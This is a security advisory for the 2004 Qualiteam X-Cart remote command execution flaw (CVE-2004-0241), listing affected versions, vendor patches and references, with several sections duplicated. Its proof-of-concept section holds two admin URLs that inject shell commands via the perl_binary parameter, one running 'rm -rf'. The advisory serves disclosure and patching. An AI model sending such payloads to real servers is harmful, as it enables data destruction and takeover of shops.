Qualiteam X-Cart Remote Command Execution Vulnerability
BID:9560
Info
Qualiteam X-Cart Remote Command Execution Vulnerability
| Bugtraq ID: | 9560 |
| Class: | Input Validation Error |
| CVE: |
CVE-2004-0241 CVE-2004-0241 |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 03 2004 12:00AM |
| Updated: | Mar 19 2015 09:23AM |
| Credit: | Discovery of this issue has been credited to Philip <[email protected]>. |
| Vulnerable: |
Qualiteam X-Cart 3.4.11 Qualiteam X-Cart 3.4.3 Qualiteam X-Cart 3.4 .0 Qualiteam X-Cart 3.3.2 Qualiteam X-Cart 3.3 .0 Qualiteam X-Cart 3.2.1 Qualiteam X-Cart 3.2 .0 |
| Not Vulnerable: |
Qualiteam X-Cart 3.5.4 Qualiteam X-Cart 3.5.2 Qualiteam X-Cart 3.5.1 Qualiteam X-Cart 3.5 .0 Qualiteam X-Cart 3.4.12 |
Discussion
Qualiteam X-Cart Remote Command Execution Vulnerability
X-Cart has been reported to be prone to an issue that may allow remote attackers to execute arbitrary commands on the affected system. The issue is caused by a failure of the application to sanitize values specified by parameters in the URI.
X-Cart has been reported to be prone to an issue that may allow remote attackers to execute arbitrary commands on the affected system. The issue is caused by a failure of the application to sanitize values specified by parameters in the URI.
Exploit / POC
Qualiteam X-Cart Remote Command Execution Vulnerability
No exploit is required to leverage this issue. The following proof of concept has been provided:
http://server/admin/upgrade.php?prepatch_errorcode=1&patch_files[0][orig_file]=VERSION&perl_binary=/bin/rm -rf &patch_exe=..
http://server/admin/general.php?mode=perlinfo&config[General][perl_binary]=/bin/ls -lR ||
No exploit is required to leverage this issue. The following proof of concept has been provided:
http://server/admin/upgrade.php?prepatch_errorcode=1&patch_files[0][orig_file]=VERSION&perl_binary=/bin/rm -rf &patch_exe=..
http://server/admin/general.php?mode=perlinfo&config[General][perl_binary]=/bin/ls -lR ||
Solution / Fix
Qualiteam X-Cart Remote Command Execution Vulnerability
Solution:
X-Cart versions 3.5.0 and higher and 3.4.12 and higher are not affected by this vulnerability.
The vendor has released a patch to fix this issue.
Qualiteam X-Cart 3.2 .0
Qualiteam X-Cart 3.2.1
Qualiteam X-Cart 3.3 .0
Qualiteam X-Cart 3.3.2
Qualiteam X-Cart 3.4 .0
Qualiteam X-Cart 3.4.11
Qualiteam X-Cart 3.4.3
Solution:
X-Cart versions 3.5.0 and higher and 3.4.12 and higher are not affected by this vulnerability.
The vendor has released a patch to fix this issue.
Qualiteam X-Cart 3.2 .0
-
Qualiteam security-fix-3.2.0-3.4.11.tgz
https://secure.qualiteam.biz/
Qualiteam X-Cart 3.2.1
-
Qualiteam security-fix-3.2.0-3.4.11.tgz
https://secure.qualiteam.biz/
Qualiteam X-Cart 3.3 .0
-
Qualiteam security-fix-3.2.0-3.4.11.tgz
https://secure.qualiteam.biz/
Qualiteam X-Cart 3.3.2
-
Qualiteam security-fix-3.2.0-3.4.11.tgz
https://secure.qualiteam.biz/
Qualiteam X-Cart 3.4 .0
-
Qualiteam security-fix-3.2.0-3.4.11.tgz
https://secure.qualiteam.biz/
Qualiteam X-Cart 3.4.11
-
Qualiteam security-fix-3.2.0-3.4.11.tgz
https://secure.qualiteam.biz/
Qualiteam X-Cart 3.4.3
-
Qualiteam security-fix-3.2.0-3.4.11.tgz
https://secure.qualiteam.biz/
References
Qualiteam X-Cart Remote Command Execution Vulnerability
References:
References:
- X-Cart Homepage (X-Cart)
- X-Cart vulnerability (Philip
)